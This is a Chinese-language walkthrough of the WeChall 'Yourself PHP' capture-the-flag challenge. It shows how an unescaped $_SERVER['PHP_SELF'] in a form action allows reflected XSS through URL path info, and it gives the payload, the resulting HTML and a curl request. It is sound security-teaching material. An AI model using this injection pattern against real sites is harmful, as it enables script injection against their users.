WeChall - Yourself PHP
Your mission is to inject alert(1); into this script, and make it popup a javascript alert.
目标是在页面里注入
alert(1);。现在这题不再依赖浏览器真实弹窗,而是检查 payload 后静默修补输出并判定结果。
Challenge
题目给了源码入口:index.php?highlight=christmas。页面上有一个
username 表单,直觉上像是要在用户名字段里做 XSS,但源码对
username 做了 htmlspecialchars():
1 | if (isset($_POST['username'])) |
所以 username 只是诱饵。题名是 Yourself
PHP,真正要看的点是 $_SERVER['PHP_SELF']。
Solution
关键代码在表单输出这里:
1 | echo '<div class="box box_c">'.PHP_EOL; |
$_SERVER['PHP_SELF'] 被直接塞进 HTML attribute:
1 | <form action="..." method="post"> |
普通访问时,PHP_SELF 只是脚本路径:
1 | /challenge/yourself_php/index.php |
但 PHP / Web server 通常会把 index.php 后面的 path info
也放进 PHP_SELF。访问下面这种路径时:
1 | /challenge/yourself_php/index.php/anything |
模板里的 %s 会变成:
1 | <form action="/challenge/yourself_php/index.php/anything" method="post"> |
于是攻击面不在 POST body,而在 URL path info。只要让 path info 先闭合
action 的双引号,再闭合 <form>
起始标签,就能插入脚本节点:
1 | /"><script>alert(1);</script> |
拼回模板后,旧版漏洞会生成类似这样的 HTML:
1 | <form action="/challenge/yourself_php/index.php/"><script>alert(1);</script>" method="post"> |
浏览器解析时:
"结束action属性。>结束<form>起始标签。<script>alert(1);</script>成为真正的脚本节点。- 后面的
" method="post">只是残留文本,不影响前面的 script 执行。
当前 WeChall 源码已经在检查后静默修补了这个输入,注释里写的是:
1 | # Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input. |
这里的 htmlsepcialchars
是源码注释里的原拼写。也就是说,现在的题目更像 simulated
challenge:phpself_checkit() 检查静态
payload,命中后判定正确;不需要真的让当前页面弹窗。
实际访问时用 URL-encoded payload,避免 shell、URL 和 HTML 对
<、>、" 的处理差异:
1 | $ curl -sL \ |
如果带登录态访问同一个 URL,命中后会把挑战记到当前账号;最终以
/en/challs 里 Yourself PHP 的
wc_chall_solved_1 为准。